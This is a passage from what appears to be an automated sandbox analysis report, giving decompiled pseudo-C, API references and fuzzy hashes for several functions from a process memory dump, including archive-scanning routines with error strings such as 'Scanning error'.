Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: CriticalH_prologSectionfputs$EnterLeavefflushfputc
String ID:
API String ID: 84800229-0
Opcode ID: 46dd9ee1d3ca80dc1e26072afe5b939e4167d895099290ec03e27fcfffb445f9
Instruction ID: 7c96473da8e07d9ba61e2dbba5dfce3960a36b68e5c131bbc32721b2660a86af
Opcode Fuzzy Hash: 46dd9ee1d3ca80dc1e26072afe5b939e4167d895099290ec03e27fcfffb445f9
Instruction Fuzzy Hash: B411C471610705DFC761AF64E889AAEB7F5FFC4314F14891ED85A93250DB31AC00CB50

Uniqueness

Uniqueness Score: -1.00%

Function 012597B3 Relevance: 6.0, APIs: 4, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E012597B3(void* __ecx) {
				void* _t23;
				intOrPtr* _t24;
				intOrPtr _t31;
				void* _t33;
				void* _t38;

				_t28 = __ecx;
				E012639E0(0x1266ff4, _t38);
				_push(__ecx);
				_push(__ecx);
				_t33 = __ecx;
				 *(_t38 - 0x14) = 0x12746c0;
				EnterCriticalSection(0x12746c0);
				_t31 =  *((intOrPtr*)(_t33 + 0x24));
				 *(_t38 - 4) =  *(_t38 - 4) & 0x00000000;
				 *(_t38 - 0x10) =  *(_t38 - 0x10) & 0x00000000;
				if(_t31 <= 0) {
					L4:
					_push(0x126d0e8);
					_push(_t38 + 8);
					 *((intOrPtr*)(_t38 + 8)) = 0x1335445;
					L01263CAC();
				} else {
					_t24 =  *((intOrPtr*)(_t33 + 0x20));
					_t28 = _t33 + 0x20;
					while( *_t24 !=  *((intOrPtr*)(_t38 + 8))) {
						 *(_t38 - 0x10) =  *(_t38 - 0x10) + 1;
						_t24 = _t24 + 4;
						if( *(_t38 - 0x10) < _t31) {
							continue;
						} else {
							goto L4;
						}
						goto L5;
					}
				}
				L5:
				E012348A2(_t28,  *(_t38 - 0x10));
				_t23 = E01234522(_t33 + 0x2c,  *(_t38 - 0x10));
				LeaveCriticalSection(0x12746c0);
				 *[fs:0x0] =  *((intOrPtr*)(_t38 - 0xc));
				return _t23;
			}

0x012597b3
0x012597b8
0x012597bd
0x012597be
0x012597c7
0x012597ca
0x012597cd
0x012597d3
0x012597d6
0x012597da
0x012597e0
0x012597fa
0x012597fd
0x01259802
0x01259803
0x0125980a
0x012597e2
0x012597e2
0x012597e5
0x012597e8
0x012597ef
0x012597f2
0x012597f8
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x012597f8
0x012597e8
0x0125980f
0x01259812
0x0125981d
0x01259823
0x0125982f
0x01259837

APIs

__EH_prolog.LIBCMT ref: 012597B8
EnterCriticalSection.KERNEL32(012746C0), ref: 012597CD
_CxxThrowException.MSVCRT(?,0126D0E8), ref: 0125980A
LeaveCriticalSection.KERNEL32(012746C0,00000000,00000000,?,0126D0E8), ref: 01259823

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: CriticalSection$EnterExceptionH_prologLeaveThrow
String ID:
API String ID: 4150843469-0
Opcode ID: 4ee1265d3ac1101b5106ae8a5e87c385d9485b75127982523ab614e418647465
Instruction ID: 246e7c41f96792b6f3761ff1ebb5cd275a6ed208a16fd848a10845de55de842f
Opcode Fuzzy Hash: 4ee1265d3ac1101b5106ae8a5e87c385d9485b75127982523ab614e418647465
Instruction Fuzzy Hash: 7101F57192011AEFCB08DF54D884AEEB7B8FF54305F00852AE50563640D770AA45CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 012626C0 Relevance: 6.0, APIs: 4, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E012626C0(struct _IO_FILE** __ecx, void* __edx, void* __eflags) {
				void* _t17;
				struct _IO_FILE** _t27;
				void* _t33;

				E012639E0(0x1267ae4, _t33);
				_t27 = __ecx;
				E0123232F(_t33 - 0x18);
				 *(_t33 - 4) =  *(_t33 - 4) & 0x00000000;
				E0125A63A(_t33 - 0x18, __edx);
				fputs( *(_t33 + 8),  *_t27);
				fputs(0x126b77c,  *_t27);
				fputs( *(_t33 - 0x18),  *_t27);
				_t17 = E01231ABD(E01231CAE(_t27),  *(_t33 - 0x18));
				 *[fs:0x0] =  *((intOrPtr*)(_t33 - 0xc));
				return _t17;
			}

0x012626c5
0x012626cf
0x012626d6
0x012626db
0x012626e4
0x012626f4
0x012626fd
0x01262704
0x01262713
0x0126271e
0x01262726

APIs

__EH_prolog.LIBCMT ref: 012626C5
fputs.MSVCRT ref: 012626F4
fputs.MSVCRT ref: 012626FD
fputs.MSVCRT ref: 01262704

Part of subcall function 01231CAE: fputc.MSVCRT ref: 01231CB5

Part of subcall function 01231ABD: free.MSVCRT(00000000,0124C91D,00000001,00000001,?,?,012310EB,?,00000000), ref: 01231AC1

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: fputs$H_prologfputcfree
String ID:
API String ID: 3247574066-0
Opcode ID: 9ec230e6d844c6195240f7ab839e5fad260950cc648033967c165bdf4f9a1362
Instruction ID: c24e5e9a6fbb10f068a4ce2fa2b6310345cd76df7d7c156011c23e903e962565
Opcode Fuzzy Hash: 9ec230e6d844c6195240f7ab839e5fad260950cc648033967c165bdf4f9a1362
Instruction Fuzzy Hash: A5F09072D10016EBCB06BBA9EC419AEBF76FFA4250F14402AE405632A0DB310961EFC0

Uniqueness

Uniqueness Score: -1.00%

Function 0124A895 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 394
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E0124A895(signed int __ecx, void* __edx, void* __eflags) {
				signed int _t194;
				void* _t196;
				signed int _t197;
				signed int _t201;
				signed int _t203;
				void* _t206;
				signed int _t208;
				signed int _t211;
				signed int _t215;
				intOrPtr _t218;
				void* _t221;
				void* _t222;
				signed int _t227;
				signed int _t233;
				signed int _t240;
				intOrPtr _t242;
				signed int _t248;
				signed int _t252;
				signed int _t255;
				signed int _t262;
				signed int _t265;
				signed int _t275;
				signed int _t277;
				signed char _t278;
				signed int _t295;
				signed int _t315;
				intOrPtr _t357;
				signed int _t359;
				signed int _t360;
				signed int _t362;
				signed int _t364;
				signed int _t365;
				void* _t367;

				E012639E0(E01265CCE, _t367);
				 *(_t367 - 0x18) = __ecx;
				E0124711F(_t367 - 0x1a8);
				_t357 =  *((intOrPtr*)(_t367 + 8));
				 *(_t367 - 4) =  *(_t367 - 4) & 0x00000000;
				_t364 =  *(_t367 + 0x10);
				_t373 =  *(_t357 + 0xd);
				 *(_t367 - 0x110) = _t364;
				if( *(_t357 + 0xd) == 0) {
					_t194 =  *((intOrPtr*)( *_t364 + 8))();
					__eflags = _t194;
					if(_t194 == 0) {
						 *((char*)(_t367 - 0x177)) =  *((intOrPtr*)(_t357 + 0xe));
						_t196 = E012328E9(_t367 - 0x48);
						_push(_t367 - 0x1a8);
						_push(_t196);
						 *(_t367 - 4) = 2;
						_t197 = E01247410(__edx,  *((intOrPtr*)(_t357 + 0x10)));
						 *(_t367 - 4) =  *(_t367 - 4) & 0x00000000;
						_t275 = _t197;
						E01231ABD(_t197,  *((intOrPtr*)(_t367 - 0x48)));
						__eflags = _t275;
						if(_t275 == 0) {
							_t194 =  *((intOrPtr*)( *_t364 + 0xc))(_t367 - 0x170);
							__eflags = _t194;
							if(_t194 != 0) {
								goto L3;
							}
							_t277 = 0;
							__eflags = 0;
							L10:
							E0124ADD3(_t367 - 0xac);
							 *(_t367 - 4) = 3;
							_t203 = E0124A2E2(_t367 - 0xac,  *(_t367 - 0x18), _t357);
							if(_t203 == _t277) {
								__eflags =  *(_t357 + 0xd);
								 *((intOrPtr*)(_t367 - 0x74)) =  *((intOrPtr*)(_t367 - 0x148));
								 *((intOrPtr*)(_t367 - 0x70)) =  *((intOrPtr*)(_t367 - 0x144));
								_t206 =  *_t364;
								if( *(_t357 + 0xd) == 0) {
									_t295 =  *((intOrPtr*)(_t367 - 0x158)) +  *((intOrPtr*)(_t367 - 0x150));
									__eflags = _t295;
									asm("adc edx, [ebp-0x14c]");
									_t203 =  *((intOrPtr*)(_t206 + 0x14))(_t295,  *((intOrPtr*)(_t367 - 0x154)));
								} else {
									_t203 =  *((intOrPtr*)(_t206 + 0x10))(1, _t277);
								}
								__eflags = _t203 - _t277;
								if(_t203 != _t277) {
									goto L11;
								} else {
									 *(_t367 - 4) = 4;
									_t208 = E01263390(0x8000);
									__eflags = _t208 - _t277;
									 *(_t367 + 0xc) = _t208;
									__eflags = _t208 & 0xffffff00 | _t208 != _t277;
									if((_t208 & 0xffffff00 | _t208 != _t277) != 0) {
										 *(_t367 - 0x30) = _t277;
										 *(_t367 - 0x2c) = _t277;
										_t211 =  *((intOrPtr*)( *_t364 + 0x20))(_t367 - 0xac);
										__eflags = _t211 - _t277;
										if(_t211 != _t277) {
											L49:
											_t365 = _t211;
											L50:
											E012633B0( *(_t367 + 0xc));
											L51:
											 *(_t367 - 4) =  *(_t367 - 4) & 0x00000000;
											E0124AE4E(_t367 - 0xac);
											L52:
											 *(_t367 - 4) =  *(_t367 - 4) | 0xffffffff;
											E01248784(_t367 - 0x1a8);
											_t201 = _t365;
											L53:
											 *[fs:0x0] =  *((intOrPtr*)(_t367 - 0xc));
											return _t201;
										}
										__eflags =  *((intOrPtr*)(_t367 - 0x180)) - _t277;
										 *(_t367 - 0x10) = _t277;
										if( *((intOrPtr*)(_t367 - 0x180)) <= _t277) {
											L48:
											_t211 =  *((intOrPtr*)( *_t364 + 0x30))(_t367 - 0xac);
											goto L49;
										}
										while(1) {
											 *(_t367 + 0x10) = _t277;
											 *(_t367 - 4) = 5;
											E012328E9(_t367 - 0x3c);
											_t278 = 0;
											 *(_t367 - 4) = 6;
											 *(_t367 - 0x18) =  *(_t367 - 0x18) & 0;
											__eflags =  *(_t357 + 0xd);
											 *(_t367 - 0x24) = 0;
											if( *(_t357 + 0xd) == 0) {
												goto L27;
											}
											_push(8);
											_t265 = E01231A96();
											__eflags = _t265;
											if(_t265 == 0) {
												_t265 = 0;
												__eflags = 0;
											} else {
												 *(_t265 + 4) =  *(_t265 + 4) & 0x00000000;
												 *_t265 = 0x1269848;
											}
											E01240E48(_t367 + 0x10, _t265);
											L36:
											_t225 =  *((intOrPtr*)( *_t364 + 0x24))( *((intOrPtr*)(_t367 - 0x3c)),  *(_t367 - 0x24));
											_t360 = _t225;
											__eflags = _t360;
											if(_t360 != 0) {
												L57:
												E01231ABD(_t225,  *((intOrPtr*)(_t367 - 0x3c)));
												_t227 =  *(_t367 + 0x10);
												__eflags = _t227;
												 *(_t367 - 4) = 4;
												if(_t227 != 0) {
													 *((intOrPtr*)( *_t227 + 8))(_t227);
												}
												_t365 = _t360;
												goto L50;
											}
											 *(_t367 - 0x20) =  *(_t367 - 0x20) & _t225;
											 *(_t367 - 0x1c) =  *(_t367 - 0x1c) & _t225;
											E0124A6A2(_t367 - 0xac);
											__eflags = _t278;
											if(_t278 != 0) {
												L44:
												_t315 = _t367 - 0xac;
												E0124A726(_t315,  *(_t367 - 0x24),  *(_t367 - 0x18), _t367 - 0x3c);
												__eflags = _t278;
												_t233 =  *((intOrPtr*)( *_t364 + 0x2c))( *(_t367 - 0x20),  *(_t367 - 0x1c), _t367 - 0xac, _t315 & 0xffffff00 | _t278 == 0x00000000);
												__eflags = _t233;
												if(_t233 != 0) {
													L60:
													_t365 = _t233;
													E01231ABD(_t233,  *((intOrPtr*)(_t367 - 0x3c)));
													 *(_t367 - 4) = 4;
													E01239116(_t367 + 0x10);
													goto L50;
												}
												_t233 =  *((intOrPtr*)( *_t364 + 0x18))(_t367 - 0x30);
												__eflags = _t233;
												if(_t233 != 0) {
													goto L60;
												}
												E01231ABD(_t233,  *((intOrPtr*)(_t367 - 0x3c)));
												 *(_t367 - 4) = 4;
												E01239116(_t367 + 0x10);
												L47:
												 *(_t367 - 0x10) =  *(_t367 - 0x10) + 1;
												__eflags =  *(_t367 - 0x10) -  *((intOrPtr*)(_t367 - 0x180));
												if( *(_t367 - 0x10) <  *((intOrPtr*)(_t367 - 0x180))) {
													_t357 =  *((intOrPtr*)(_t367 + 8));
													_t277 = 0;
													__eflags = 0;
													continue;
												}
												goto L48;
											}
											_t123 = _t367 - 0x14;
											 *_t123 =  *(_t367 - 0x14) & 0x00000000;
											__eflags =  *_t123;
											while(1) {
												__eflags =  *(_t367 - 0x14);
												if( *(_t367 - 0x14) != 0) {
													goto L41;
												}
												L40:
												_t360 =  *((intOrPtr*)( *_t364 + 0x18))(_t367 - 0x30);
												__eflags = _t360;
												if(_t360 != 0) {
													goto L57;
												}
												L41:
												_t240 =  *(_t367 + 0x10);
												_t225 =  *((intOrPtr*)( *_t240 + 0xc))(_t240,  *(_t367 + 0xc), 0x8000, _t367 - 0x28);
												_t360 = _t225;
												__eflags = _t360;
												if(_t360 != 0) {
													goto L57;
												}
												__eflags =  *((intOrPtr*)(_t367 - 0x28)) - _t225;
												if( *((intOrPtr*)(_t367 - 0x28)) == _t225) {
													goto L44;
												}
												E0124A6DF(_t367 - 0xac,  *(_t367 + 0xc),  *((intOrPtr*)(_t367 - 0x28)));
												_t242 =  *((intOrPtr*)(_t367 - 0x28));
												 *(_t367 - 0x20) =  *(_t367 - 0x20) + _t242;
												asm("adc [ebp-0x1c], ecx");
												 *(_t367 - 0x30) =  *(_t367 - 0x30) + _t242;
												asm("adc [ebp-0x2c], ecx");
												 *(_t367 - 0x14) =  *(_t367 - 0x14) + 1;
												__eflags =  *(_t367 - 0x14);
												if( *(_t367 - 0x14) != 0) {
													goto L41;
												}
												goto L40;
											}
											L27:
											_push(0x58);
											_t215 = E01231A96();
											 *(_t367 - 0x14) = _t215;
											__eflags = _t215;
											 *(_t367 - 4) = 7;
											if(_t215 == 0) {
												_t359 = 0;
												__eflags = 0;
											} else {
												_t359 = E0123929A(_t215);
											}
											 *(_t367 - 4) = 6;
											E01240E48(_t367 + 0x10, _t359);
											_t218 =  *((intOrPtr*)( *((intOrPtr*)(_t367 - 0x184)) +  *(_t367 - 0x10) * 4));
											 *(_t367 - 0x18) =  *((intOrPtr*)(_t218 + 0x4c));
											_t278 =  *(_t218 + 0x3c) >> 0x00000004 & 0x00000001;
											 *(_t367 - 0x24) = _t278;
											_t221 = E0124709D(_t367 - 0x1a8, _t367 - 0xb8,  *(_t367 - 0x10));
											 *(_t367 - 4) = 8;
											_t222 = E01232A8C(_t367 - 0x3c, _t221);
											 *(_t367 - 4) = 6;
											E01231ABD(_t222,  *((intOrPtr*)(_t367 - 0xb8)));
											__eflags = _t278;
											if(_t278 != 0) {
												goto L36;
											} else {
												E01247072(_t367 - 0x1a8, _t367 - 0x48,  *(_t367 - 0x10));
												 *(_t367 - 4) = 9;
												 *((char*)(_t367 - 0x4c)) =  *((intOrPtr*)( *((intOrPtr*)(_t367 + 8)) + 0xc));
												_t248 = E012368A5( *((intOrPtr*)(_t367 - 0x48)),  *((intOrPtr*)(_t367 - 0x4c)));
												__eflags = _t248;
												if(_t248 != 0) {
													 *(_t367 - 4) = 6;
													E01231ABD(_t248,  *((intOrPtr*)(_t367 - 0x48)));
													goto L36;
												}
												_t252 =  *((intOrPtr*)( *_t364 + 0x28))(_t367 - 0x48, GetLastError());
												 *((intOrPtr*)(_t367 - 0x74)) =  *((intOrPtr*)(_t367 - 0x74)) + 1;
												_t362 = _t252;
												_push( *((intOrPtr*)(_t367 - 0x48)));
												asm("adc dword [ebp-0x70], 0x0");
												__eflags = _t362 - 1;
												if(_t362 != 1) {
													E01231ABD(E01231ABD(_t252),  *((intOrPtr*)(_t367 - 0x3c)));
													_t255 =  *(_t367 + 0x10);
													__eflags = _t255;
													 *(_t367 - 4) = 4;
													if(_t255 != 0) {
														 *((intOrPtr*)( *_t255 + 8))(_t255);
													}
													E012633B0( *(_t367 + 0xc));
													 *(_t367 - 4) =  *(_t367 - 4) & 0x00000000;
													E0124AE4E(_t367 - 0xac);
													 *(_t367 - 4) =  *(_t367 - 4) | 0xffffffff;
													E01248784(_t367 - 0x1a8);
													_t201 = _t362;
													goto L53;
												}
												E01231ABD(E01231ABD(_t252),  *((intOrPtr*)(_t367 - 0x3c)));
												_t262 =  *(_t367 + 0x10);
												__eflags = _t262;
												 *(_t367 - 4) = 4;
												if(_t262 != 0) {
													 *((intOrPtr*)( *_t262 + 8))(_t262);
												}
												goto L47;
											}
										}
									}
									_t365 = 0x8007000e;
									goto L50;
								}
							}
							L11:
							_t365 = _t203;
							goto L51;
						}
						__eflags = _t275 - 0x80004004;
						if(_t275 != 0x80004004) {
							E012323B0( *(_t367 + 0xc), "Scanning error");
						}
						_t365 = _t275;
						goto L52;
					}
					L3:
					_t365 = _t194;
					goto L52;
				}
				E01246EDE(_t367 - 0x108, _t373);
				 *(_t367 - 0x108) =  *(_t367 - 0x108) | 0xffffffff;
				 *(_t367 - 0x104) =  *(_t367 - 0x104) | 0xffffffff;
				 *((intOrPtr*)(_t367 - 0xf0)) = 0;
				 *((intOrPtr*)(_t367 - 0xf8)) = 0;
				 *((intOrPtr*)(_t367 - 0x100)) = 0;
				_t277 = 0;
				 *((intOrPtr*)(_t367 - 0xec)) = 0;
				 *((intOrPtr*)(_t367 - 0xf4)) = 0;
				 *((intOrPtr*)(_t367 - 0xfc)) = 0;
				_push(_t367 - 0x108);
				 *(_t367 - 4) = 1;
				 *((intOrPtr*)(_t367 - 0xcc)) = 0;
				E01248BD5(_t367 - 0x184);
				 *(_t367 - 4) =  *(_t367 - 4) & 0;
				E01246F0A(_t367 - 0x108);
				goto L10;
			}

0x0124a89a
0x0124a8a6
0x0124a8b3
0x0124a8b8
0x0124a8bb
0x0124a8bf
0x0124a8c2
0x0124a8c6
0x0124a8cc
0x0124a941
0x0124a944
0x0124a946
0x0124a955
0x0124a95b
0x0124a969
0x0124a96a
0x0124a96d
0x0124a971
0x0124a976
0x0124a97a
0x0124a97f
0x0124a984
0x0124a987
0x0124a9b0
0x0124a9b3
0x0124a9b5
0x00000000
0x00000000
0x0124a9b7
0x0124a9b7
0x0124a9b9
0x0124a9bf
0x0124a9ce
0x0124a9d2
0x0124a9d9
0x0124a9e8
0x0124a9ec
0x0124a9f5
0x0124a9f8
0x0124a9fa
0x0124aa12
0x0124aa12
0x0124aa18
0x0124aa22
0x0124a9fc
0x0124aa01
0x0124aa01
0x0124aa25
0x0124aa27
0x00000000
0x0124aa29
0x0124aa2e
0x0124aa32
0x0124aa37
0x0124aa39
0x0124aa3f
0x0124aa41
0x0124aa58
0x0124aa5b
0x0124aa5e
0x0124aa61
0x0124aa63
0x0124acee
0x0124acee
0x0124acf0
0x0124acf3
0x0124acf8
0x0124acf8
0x0124ad02
0x0124ad07
0x0124ad07
0x0124ad11
0x0124ad16
0x0124ad18
0x0124ad1e
0x0124ad26
0x0124ad26
0x0124aa69
0x0124aa6f
0x0124aa72
0x0124ace0
0x0124aceb
0x00000000
0x0124aceb
0x0124aa7f
0x0124aa7f
0x0124aa85
0x0124aa89
0x0124aa8e
0x0124aa90
0x0124aa94
0x0124aa97
0x0124aa9a
0x0124aa9d
0x00000000
0x00000000
0x0124aa9f
0x0124aaa1
0x0124aaa6
0x0124aaa9
0x0124aab7
0x0124aab7
0x0124aaab
0x0124aaab
0x0124aaaf
0x0124aaaf
0x0124aabd
0x0124abd9
0x0124abe3
0x0124abe6
0x0124abe8
0x0124abea
0x0124ad73
0x0124ad76
0x0124ad7b
0x0124ad7f
0x0124ad81
0x0124ad85
0x0124ad8a
0x0124ad8a
0x0124ad8d
0x00000000
0x0124ad8d
0x0124abf0
0x0124abf3
0x0124abfc
0x0124ac01
0x0124ac03
0x0124ac6f
0x0124ac72
0x0124ac7f
0x0124ac84
0x0124ac9b
0x0124ac9e
0x0124aca0
0x0124ad94
0x0124ad97
0x0124ad99
0x0124ad9f
0x0124ada6
0x00000000
0x0124ada6
0x0124acae
0x0124acb1
0x0124acb3
0x00000000
0x00000000
0x0124acbc
0x0124acc2
0x0124acc9
0x0124acce
0x0124acce
0x0124acd4
0x0124acda
0x0124aa7a
0x0124aa7d
0x0124aa7d
0x00000000
0x0124aa7d
0x00000000
0x0124acda
0x0124ac05
0x0124ac05
0x0124ac05
0x0124ac09
0x0124ac09
0x0124ac0d
0x00000000
0x00000000
0x0124ac0f
0x0124ac1a
0x0124ac1c
0x0124ac1e
0x00000000
0x00000000
0x0124ac24
0x0124ac24
0x0124ac36
0x0124ac39
0x0124ac3b
0x0124ac3d
0x00000000
0x00000000
0x0124ac43
0x0124ac46
0x00000000
0x00000000
0x0124ac54
0x0124ac59
0x0124ac5e
0x0124ac61
0x0124ac64
0x0124ac67
0x0124ac6a
0x0124ac09
0x0124ac0d
0x00000000
0x00000000
0x00000000
0x0124ac0d
0x0124aac7
0x0124aac7
0x0124aac9
0x0124aacf
0x0124aad2
0x0124aad4
0x0124aad8
0x0124aae5
0x0124aae5
0x0124aada
0x0124aae1
0x0124aae1
0x0124aaeb
0x0124aaef
0x0124aafe
0x0124ab10
0x0124ab19
0x0124ab1d
0x0124ab20
0x0124ab29
0x0124ab2d
0x0124ab32
0x0124ab3c
0x0124ab41
0x0124ab44
0x00000000
0x0124ab4a
0x0124ab57
0x0124ab62
0x0124ab69
0x0124ab72
0x0124ab77
0x0124ab79
0x0124abcf
0x0124abd3
0x00000000
0x0124abd8
0x0124ab8a
0x0124ab8d
0x0124ab91
0x0124ab93
0x0124ab96
0x0124ab9a
0x0124ab9d
0x0124ad31
0x0124ad36
0x0124ad3a
0x0124ad3d
0x0124ad41
0x0124ad46
0x0124ad46
0x0124ad4c
0x0124ad51
0x0124ad5b
0x0124ad60
0x0124ad6a
0x0124ad6f
0x00000000
0x0124ad6f
0x0124abab
0x0124abb0
0x0124abb4
0x0124abb7
0x0124abbb
0x0124abc4
0x0124abc4
0x00000000
0x0124abbb
0x0124ab44
0x0124aa7f
0x0124aa43
0x00000000
0x0124aa43
0x0124aa27
0x0124a9db
0x0124a9db
0x00000000
0x0124a9db
0x0124a989
0x0124a98f
0x0124a999
0x0124a999
0x0124a99e
0x00000000
0x0124a99e
0x0124a948
0x0124a948
0x00000000
0x0124a948
0x0124a8d4
0x0124a8d9
0x0124a8e0
0x0124a8eb
0x0124a8f1
0x0124a8f7
0x0124a903
0x0124a905
0x0124a90b
0x0124a911
0x0124a917
0x0124a91e
0x0124a922
0x0124a928
0x0124a92d
0x0124a936
0x00000000

APIs

__EH_prolog.LIBCMT ref: 0124A89A

Part of subcall function 0124711F: __EH_prolog.LIBCMT ref: 01247124

Part of subcall function 01248BD5: __EH_prolog.LIBCMT ref: 01248BDA

Part of subcall function 0124ADD3: __EH_prolog.LIBCMT ref: 0124ADD8

Part of subcall function 0124A2E2: __EH_prolog.LIBCMT ref: 0124A2E7
Part of subcall function 0124A2E2: strcmp.MSVCRT ref: 0124A391

Strings

Scanning error, xrefs: 0124A994

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: H_prolog$strcmp
String ID: Scanning error
API String ID: 828347417-2691707340
Opcode ID: f85657f8d6fdc4e7be8db35c7485d6b829a01e76618f36ea5eea693716c86c0f
Instruction ID: 7b4f1fc176e9d43c13e49f668d5ee13ad4136d0a0d77d963acbd84a6128c544d
Opcode Fuzzy Hash: f85657f8d6fdc4e7be8db35c7485d6b829a01e76618f36ea5eea693716c86c0f
Instruction Fuzzy Hash: E1F1EF7096025AEFDF29DFA8C840BEDBBB0BF14314F14809DE55AA7291DB709A84CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0124E40F Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 206
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E0124E40F(void* __ecx, void* __eflags) {
				intOrPtr* _t106;
				intOrPtr* _t110;
				signed int _t111;
				intOrPtr* _t114;
				signed int _t115;
				intOrPtr* _t118;
				signed int _t119;
				intOrPtr* _t121;
				signed int _t122;
				signed int _t126;
				signed int _t129;
				char* _t130;
				char* _t133;
				void* _t138;
				intOrPtr _t141;
				intOrPtr _t161;
				void* _t175;
				void* _t176;
				signed int _t180;
				void* _t181;
				intOrPtr* _t182;
				void* _t186;
				void* _t187;
				void* _t188;
				void* _t190;

				E012639E0(E0126625C, _t190);
				_t188 = __ecx;
				_t106 = __ecx + 0xb0;
				_t182 = __ecx + 0xa8;
				 *((char*)(__ecx + 0xb8)) = 0;
				 *_t106 = 0;
				 *((intOrPtr*)(_t106 + 4)) = 0;
				 *_t182 = 0;
				 *((intOrPtr*)(_t182 + 4)) = 0;
				asm("sbb ecx, [ebp+0x10]");
				 *((intOrPtr*)(__ecx + 0xc8)) =  *((intOrPtr*)(__ecx + 0xc0)) -  *((intOrPtr*)(_t190 + 0xc));
				 *((intOrPtr*)(__ecx + 0xcc)) =  *((intOrPtr*)(__ecx + 0xc4));
				E0124E3E3(__ecx + 0x10);
				 *(_t190 - 0x24) = 0;
				 *((short*)(_t190 - 0x22)) = 0;
				 *(_t190 - 0x1c) = 0;
				_t110 =  *((intOrPtr*)(_t190 + 8));
				 *(_t190 - 4) = 0;
				_t111 =  *((intOrPtr*)( *_t110 + 0x20))(_t110, 0x47, _t190 - 0x24, _t181, _t187, _t138);
				 *(_t190 - 0x10) = _t111;
				if(_t111 == 0) {
					 *((intOrPtr*)(__ecx + 0x14)) = E0124E3A2(_t190 - 0x24, __ecx + 0x13);
					E01238173(_t190 - 0x24);
					 *(_t190 - 0x24) = 0;
					 *((short*)(_t190 - 0x22)) = 0;
					 *(_t190 - 0x1c) = 0;
					_t114 =  *((intOrPtr*)(_t190 + 8));
					 *(_t190 - 4) = 1;
					_t115 =  *((intOrPtr*)( *_t114 + 0x20))(_t114, 0x48, _t190 - 0x24);
					__eflags = _t115;
					 *(_t190 - 0x10) = _t115;
					if(_t115 == 0) {
						 *((intOrPtr*)(__ecx + 0x18)) = E0124E3A2(_t190 - 0x24, 0);
						E01238173(_t190 - 0x24);
						 *(_t190 - 0x24) = 0;
						 *((short*)(_t190 - 0x22)) = 0;
						 *(_t190 - 0x1c) = 0;
						_t118 =  *((intOrPtr*)(_t190 + 8));
						 *(_t190 - 4) = 2;
						_t119 =  *((intOrPtr*)( *_t118 + 0x20))(_t118, 0x37, _t190 - 0x24);
						__eflags = _t119;
						 *(_t190 - 0x10) = _t119;
						if(_t119 == 0) {
							__eflags =  *(_t190 - 0x24);
							if( *(_t190 - 0x24) != 0) {
								__eflags =  *(_t190 - 0x24) - 8;
								_t133 =  *(_t190 - 0x1c);
								if( *(_t190 - 0x24) != 8) {
									_t133 = L"Unknown error";
								}
								E01232A28(_t188 + 0x28, _t133);
							}
							E01238173(_t190 - 0x24);
							 *(_t190 - 0x24) = 0;
							 *((short*)(_t190 - 0x22)) = 0;
							 *(_t190 - 0x1c) = 0;
							_t121 =  *((intOrPtr*)(_t190 + 8));
							 *(_t190 - 4) = 3;
							_t122 =  *((intOrPtr*)( *_t121 + 0x20))(_t121, 0x49, _t190 - 0x24);
							__eflags = _t122;
							 *(_t190 - 0x10) = _t122;
							if(_t122 == 0) {
								__eflags =  *(_t190 - 0x24);
								if( *(_t190 - 0x24) != 0) {
									__eflags =  *(_t190 - 0x24) - 8;
									_t130 =  *(_t190 - 0x1c);
									if( *(_t190 - 0x24) != 8) {
										_t130 = L"Unknown warning";
									}
									E01232A28(_t188 + 0x34, _t130);
								}
								 *(_t190 - 4) =  *(_t190 - 4) | 0xffffffff;
								E01238173(_t190 - 0x24);
								__eflags =  *(_t190 + 0x14);
								if( *(_t190 + 0x14) == 0) {
									L19:
									_push(_t188 + 0xb8);
									_push(_t188 + 0xb0);
									_t175 = 0x2c;
									_t126 = E0124E6AC( *((intOrPtr*)(_t190 + 8)), _t175);
									__eflags = _t126;
									if(_t126 == 0) {
										_push(_t190 + 0x17);
										_push(_t182);
										_t176 = 0x24;
										_t126 = E0124E74A( *((intOrPtr*)(_t190 + 8)), _t176);
										__eflags = _t126;
										if(_t126 == 0) {
											asm("adc eax, [edi+0x4]");
											 *((intOrPtr*)(_t190 + 0xc)) =  *((intOrPtr*)(_t190 + 0xc)) +  *_t182;
											_t161 =  *((intOrPtr*)(_t188 + 0xc0));
